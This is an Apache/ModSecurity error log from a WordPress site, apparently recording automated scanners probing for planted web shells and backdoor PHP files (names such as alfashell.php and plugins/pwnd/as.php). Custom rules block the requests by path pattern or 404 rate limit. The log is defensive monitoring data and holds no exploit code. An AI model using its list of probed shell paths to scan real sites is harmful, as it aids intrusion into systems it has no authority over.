[Thu Apr 09 16:11:40.538991 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:64940] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prv8.php"] [unique_id "addfPK1OMnvM2fMnB1NObgAAABc"]
[Thu Apr 09 16:11:40.670409 2026] [:error] [pid 24515:tid 24532] [client 216.24.210.42:31407] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/load.php"] [unique_id "addfPK1OMnvM2fMnB1NObwAAAA0"]
[Thu Apr 09 16:11:41.042808 2026] [:error] [pid 24515:tid 24534] [client 216.24.210.26:34797] [client 216.24.210.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "addfPa1OMnvM2fMnB1NOcAAAAA8"]
[Thu Apr 09 16:11:41.097065 2026] [:error] [pid 24624:tid 24629] [client 20.215.65.153:64242] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/prv8.php"] [unique_id "addfPe4Jn-WvK1ZBTviWdwAAAMM"]
[Thu Apr 09 16:11:41.391174 2026] [:error] [pid 24624:tid 24626] [client 216.24.210.5:51981] [client 216.24.210.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "addfPe4Jn-WvK1ZBTviWeQAAAMA"]
[Thu Apr 09 16:11:41.608111 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:64248] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "addfPe4Jn-WvK1ZBTviWewAAAMQ"]
[Thu Apr 09 16:11:42.214986 2026] [:error] [pid 20837:tid 20855] [client 20.215.65.153:65500] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "addfPvSL71FHZkjrGzOwXQAAAZA"]
[Thu Apr 09 16:11:42.347671 2026] [:error] [pid 24515:tid 24524] [client 216.24.210.11:36101] [client 216.24.210.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "addfPq1OMnvM2fMnB1NOdwAAAAU"]
[Thu Apr 09 16:11:42.681352 2026] [:error] [pid 24516:tid 24547] [client 216.24.210.13:45989] File does not exist: /usr/local/apache/htdocs/suspended-page/setup-config.php
[Thu Apr 09 16:11:42.750352 2026] [:error] [pid 20837:tid 20853] [client 20.215.65.153:62404] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "addfPvSL71FHZkjrGzOwXgAAAY4"]
[Thu Apr 09 16:11:42.853726 2026] [:error] [pid 24516:tid 24568] [client 216.24.210.13:45989] [client 216.24.210.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "addfPthW7vSS-UkeWCUH4gAAAFU"]
[Thu Apr 09 16:11:43.310341 2026] [:error] [pid 24516:tid 24561] [client 20.215.65.153:65487] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "addfP9hW7vSS-UkeWCUH5AAAAE4"]
[Thu Apr 09 16:11:43.347800 2026] [:error] [pid 24516:tid 24548] [client 216.24.210.18:61835] File does not exist: /usr/local/apache/htdocs/suspended-page/type.php
[Thu Apr 09 16:11:43.543426 2026] [:error] [pid 24516:tid 24569] [client 216.24.210.18:61835] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "addfP9hW7vSS-UkeWCUH5gAAAFY"]
[Thu Apr 09 16:11:43.879449 2026] [:error] [pid 24516:tid 24567] [client 20.215.65.153:63679] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "addfP9hW7vSS-UkeWCUH5wAAAFQ"]
[Thu Apr 09 16:11:43.884184 2026] [:error] [pid 20837:tid 20861] [client 173.239.218.19:57701] [client 173.239.218.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "addfP_SL71FHZkjrGzOwXwAAAZY"]
[Thu Apr 09 16:11:44.234713 2026] [:error] [pid 24516:tid 24566] [client 216.24.210.17:64637] [client 216.24.210.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "addfQNhW7vSS-UkeWCUH6AAAAFM"]
[Thu Apr 09 16:11:44.474080 2026] [:error] [pid 20837:tid 20839] [client 20.215.65.153:64225] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "addfQPSL71FHZkjrGzOwYAAAAYA"]
[Thu Apr 09 16:11:44.999559 2026] [:error] [pid 18477:tid 18483] [client 20.215.65.153:64311] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "addfQMDe826HlFeoLPI-RAAAAUQ"]
[Thu Apr 09 16:11:45.406121 2026] [:error] [pid 18477:tid 18493] [client 216.24.210.32:60929] File does not exist: /usr/local/apache/htdocs/suspended-page/goat.php
[Thu Apr 09 16:11:45.785482 2026] [:error] [pid 24515:tid 24528] [client 20.215.65.153:62344] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "addfQa1OMnvM2fMnB1NOeQAAAAk"]
[Thu Apr 09 16:11:46.102247 2026] [:error] [pid 18477:tid 18484] [client 216.24.210.32:60929] [client 216.24.210.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "addfQsDe826HlFeoLPI-TQAAAUU"]
[Thu Apr 09 16:11:46.331076 2026] [:error] [pid 24517:tid 24584] [client 20.215.65.153:64928] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "addfQnboYEn2ZFM_PS9fqgAAAIo"]
[Thu Apr 09 16:11:46.980519 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:64847] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "addfQu4Jn-WvK1ZBTviWfwAAANY"]
[Thu Apr 09 16:11:47.572064 2026] [:error] [pid 24517:tid 24597] [client 20.215.65.153:62372] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "addfQ3boYEn2ZFM_PS9fqwAAAJc"]
[Thu Apr 09 16:11:47.854851 2026] [:error] [pid 24516:tid 24562] [client 216.24.210.19:59523] [client 216.24.210.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "addfQ9hW7vSS-UkeWCUH7AAAAE8"]
[Thu Apr 09 16:11:48.154788 2026] [:error] [pid 24516:tid 24554] [client 20.215.65.153:64238] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "addfRNhW7vSS-UkeWCUH7QAAAEc"]
[Thu Apr 09 16:11:48.776976 2026] [:error] [pid 24517:tid 24582] [client 20.215.65.153:64232] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "addfRHboYEn2ZFM_PS9frQAAAIg"]
[Thu Apr 09 16:11:49.236027 2026] [:error] [pid 24515:tid 24531] [client 216.24.210.10:31705] [client 216.24.210.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "addfRa1OMnvM2fMnB1NOfgAAAAw"]
[Thu Apr 09 16:11:49.471314 2026] [:error] [pid 24517:tid 24593] [client 20.215.65.153:62388] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "addfRXboYEn2ZFM_PS9frgAAAJM"]
[Thu Apr 09 16:11:49.984777 2026] [:error] [pid 24515:tid 24520] [client 20.215.65.153:65498] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "addfRa1OMnvM2fMnB1NOfwAAAAE"]
[Thu Apr 09 16:11:49.991037 2026] [:error] [pid 24515:tid 24541] [client 216.24.210.37:36919] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "addfRa1OMnvM2fMnB1NOgAAAABY"]
[Thu Apr 09 16:11:50.431576 2026] [:error] [pid 24516:tid 24550] [client 173.239.218.22:31661] [client 173.239.218.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "addfRthW7vSS-UkeWCUH7wAAAEM"]
[Thu Apr 09 16:11:50.534971 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:63057] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "addfRq1OMnvM2fMnB1NOggAAAAM"]
[Thu Apr 09 16:11:51.081856 2026] [:error] [pid 24515:tid 24537] [client 20.215.65.153:63032] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "addfR61OMnvM2fMnB1NOgwAAABI"]
[Thu Apr 09 16:11:51.673920 2026] [:error] [pid 24624:tid 24627] [client 20.215.65.153:64870] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "addfR-4Jn-WvK1ZBTviWggAAAME"]
[Thu Apr 09 16:11:52.245175 2026] [:error] [pid 24515:tid 24527] [client 20.215.65.153:64230] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "addfSK1OMnvM2fMnB1NOhgAAAAg"]
[Thu Apr 09 16:11:52.844473 2026] [:error] [pid 24515:tid 24528] [client 20.215.65.153:65503] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "addfSK1OMnvM2fMnB1NOhwAAAAk"]
[Thu Apr 09 16:11:53.368378 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:65479] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "addfSa1OMnvM2fMnB1NOiAAAAAc"]
[Thu Apr 09 16:11:53.885183 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:62992] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "addfSfSL71FHZkjrGzOwZQAAAYE"]
[Thu Apr 09 16:11:54.574977 2026] [:error] [pid 20837:tid 20843] [client 20.215.65.153:64209] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "addfSvSL71FHZkjrGzOwZgAAAYQ"]
[Thu Apr 09 16:11:55.128900 2026] [:error] [pid 24515:tid 24538] [client 20.215.65.153:65485] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/motu.php"] [unique_id "addfS61OMnvM2fMnB1NOigAAABM"]
[Thu Apr 09 16:11:55.662116 2026] [:error] [pid 24515:tid 24521] [client 20.215.65.153:62396] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "addfS61OMnvM2fMnB1NOiwAAAAI"]
[Thu Apr 09 16:11:56.185152 2026] [:error] [pid 24517:tid 24585] [client 20.215.65.153:64911] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "addfTHboYEn2ZFM_PS9fsAAAAIs"]
[Thu Apr 09 16:11:56.717401 2026] [:error] [pid 24624:tid 24646] [client 20.215.65.153:63050] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "addfTO4Jn-WvK1ZBTviWgwAAANQ"]
[Thu Apr 09 16:11:57.239145 2026] [:error] [pid 24624:tid 24626] [client 20.215.65.153:63051] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "addfTe4Jn-WvK1ZBTviWhAAAAMA"]
[Thu Apr 09 16:11:57.817427 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:63667] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "addfTe4Jn-WvK1ZBTviWiAAAAMQ"]
[Thu Apr 09 16:11:58.339910 2026] [:error] [pid 20837:tid 20858] [client 20.215.65.153:65502] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "addfTvSL71FHZkjrGzOwaAAAAZM"]
[Thu Apr 09 16:11:58.966842 2026] [:error] [pid 18477:tid 18490] [client 20.215.65.153:64853] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "addfTsDe826HlFeoLPI-UgAAAUs"]
[Thu Apr 09 16:11:59.781361 2026] [:error] [pid 24517:tid 24591] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php
[Thu Apr 09 16:12:00.039613 2026] [:error] [pid 24517:tid 24595] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/alfashell.php
[Thu Apr 09 16:12:00.299691 2026] [:error] [pid 24517:tid 24575] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Thu Apr 09 16:12:00.561155 2026] [:error] [pid 24517:tid 24594] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Thu Apr 09 16:12:00.819880 2026] [:error] [pid 24517:tid 24598] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Thu Apr 09 16:12:01.141270 2026] [:error] [pid 24517:tid 24583] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Thu Apr 09 16:12:01.657423 2026] [:error] [pid 24517:tid 24578] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Thu Apr 09 16:12:01.943692 2026] [:error] [pid 24517:tid 24582] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/ew.php
[Thu Apr 09 16:12:02.201564 2026] [:error] [pid 24517:tid 24581] [client 20.215.65.153:62400] File does not exist: /usr/local/apache/htdocs/suspended-page/file21.php
[Thu Apr 09 16:12:02.484456 2026] [:error] [pid 24517:tid 24579] [client 20.215.65.153:62400] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "addfUnboYEn2ZFM_PS9fxwAAAIU"]
[Thu Apr 09 16:12:03.037278 2026] [:error] [pid 24624:tid 24644] [client 20.215.65.153:63007] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "addfU-4Jn-WvK1ZBTviWjAAAANI"]
[Thu Apr 09 16:12:03.602555 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:63620] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "addfU61OMnvM2fMnB1NOkwAAAAQ"]
[Thu Apr 09 16:12:04.124025 2026] [:error] [pid 24515:tid 24533] [client 20.215.65.153:65518] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class19.php"] [unique_id "addfVK1OMnvM2fMnB1NOlQAAAA4"]
[Thu Apr 09 16:12:04.742393 2026] [:error] [pid 24517:tid 24591] [client 20.215.65.153:64223] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class20.php"] [unique_id "addfVHboYEn2ZFM_PS9fywAAAJE"]
